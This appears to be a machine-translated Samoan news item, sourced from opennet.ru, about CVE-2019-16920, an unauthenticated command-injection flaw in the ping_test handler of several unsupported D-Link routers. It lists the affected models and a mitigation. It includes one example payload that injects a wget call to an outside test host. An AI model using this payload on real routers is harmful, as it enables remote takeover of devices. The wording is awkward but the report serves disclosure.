Ma'ale'ale fa'aogaina mamao ile D-Link routers

I le D-Link routers uaealesi faailoaina fa'alavelave mata'utia (CVE-2019–16920), lea e mafai ai ona e faʻatinoina mamao le code i le itu o le masini e ala i le tuʻuina atu o se talosaga faʻapitoa i le "ping_test" handler, e mafai ona maua e aunoa ma le faʻamaonia.

O le mea e malie ai, e tusa ai ma le firmware developers, o le "ping_test" valaau e tatau ona faʻatinoina naʻo le faʻamaonia, ae o le mea moni e taʻua i soʻo se tulaga, e tusa lava po o le a le ulufale i totonu o le upega tafaʻilagi. Aemaise lava, pe a oʻo i le tusi apply_sec.cgi ma pasia le "action = ping_test" parameter, o le tusitusiga e toe faʻafeiloaʻi i le itulau faʻamaonia, ae i le taimi lava e tasi e faia ai le gaioiga e fesoʻotaʻi ma ping_test. Ina ia faʻatinoina le code, o le isi faʻafitauli na faʻaaogaina i le ping_test lava ia, lea e taʻua ai le aoga ping e aunoa ma le siakiina lelei o le saʻo o le tuatusi IP na lafoina mo suʻega. Mo se faʻataʻitaʻiga, e valaʻau le wget aoga ma faʻafeiloaʻi taunuuga o le "echo 1234" poloaiga i se talimalo i fafo, naʻo le faʻamaonia o le parakalafa "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$( echo 1234)".

Ma'ale'ale fa'aogaina mamao ile D-Link routers

O le i ai o le faʻafitauli ua faʻamaonia aloaia i faʻataʻitaʻiga nei:

  • DIR-655 faʻatasi ma firmware 3.02b05 pe sili atu;
  • DIR-866L ma firmware 1.03b04 pe sili atu;
  • DIR-1565 ma firmware 1.01 pe sili atu;
  • DIR-652 (leai se faʻamatalaga e uiga i faʻafitauli faʻafitauli firmware o loʻo tuʻuina atu)

O le taimi lagolago mo nei faʻataʻitaʻiga ua maeʻa, o le D-Link taʻua, lea o le a le tuʻuina atu faʻamatalaga mo latou e faʻaumatia ai le faʻafitauli, e le fautuaina le faʻaaogaina ma fautuaina e sui i masini fou. I le avea ai o se fofo saogalemu, e mafai ona e faʻatapulaʻaina le avanoa i le upega tafaʻilagi i naʻo tuatusi IP faʻalagolago.

Na iloa mulimuli ane o le tulaga vaivai foi afaina faʻataʻitaʻiga DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 ma DIR-825, fuafuaga mo le tuʻuina atu o faʻamatalaga e leʻi iloa.

puna: opennet.ru

Faaopoopo i ai se faamatalaga